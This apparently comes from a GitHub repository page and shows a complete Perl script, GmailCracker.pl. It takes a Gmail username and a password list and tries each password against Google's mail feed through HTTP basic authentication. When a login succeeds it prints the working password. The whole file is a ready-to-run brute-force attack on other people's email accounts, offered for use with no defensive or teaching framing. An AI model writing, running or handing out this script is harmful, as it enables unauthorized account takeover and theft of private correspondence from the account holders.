-
Notifications
You must be signed in to change notification settings - Fork 6
/
GmailCracker.pl
36 lines (32 loc) · 971 Bytes
/
GmailCracker.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/perl
use strict;
use warnings;
use WWW::Curl::Easy;
my ( $UserName, $Password, $Site, $CurlReturn, $File, $ResponseCode, $Curl, $NumOfArgs );
my (@Curl);
$NumOfArgs = $#ARGV + 1;
if ( $NumOfArgs != 2 ) {
print "\nUSAGE: GmailCracker.pl USERNAME PASSWD_LIST\n\n";
exit;
}
$UserName = $ARGV[0];
$File = $ARGV[1];
open( my $file, '<', $File ) or die "Cannot open $File: $!\n";
$Site = 'https://mail.google.com/mail/feed/atom';
$Curl = WWW::Curl::Easy->new;
while (<$file>) {
$Curl->setopt( CURLOPT_TIMEOUT, 20 );
$Curl->setopt( CURLOPT_CONNECTTIMEOUT, 15 );
$Curl->setopt( CURLOPT_VERBOSE, 1 );
$Curl->setopt( CURLOPT_USERPWD, "$UserName:$_" );
$Curl->setopt( CURLOPT_URL, $Site );
$CurlReturn = $Curl->perform;
$ResponseCode = $Curl->getinfo(CURLINFO_HTTP_CODE);
if ( $ResponseCode == 200 ) {
print "\n\nPASSWORD WAS $_\n\n";
exit;
}
else {
print "\n\nPASSWORD WAS NOT $_\n\n";
}
}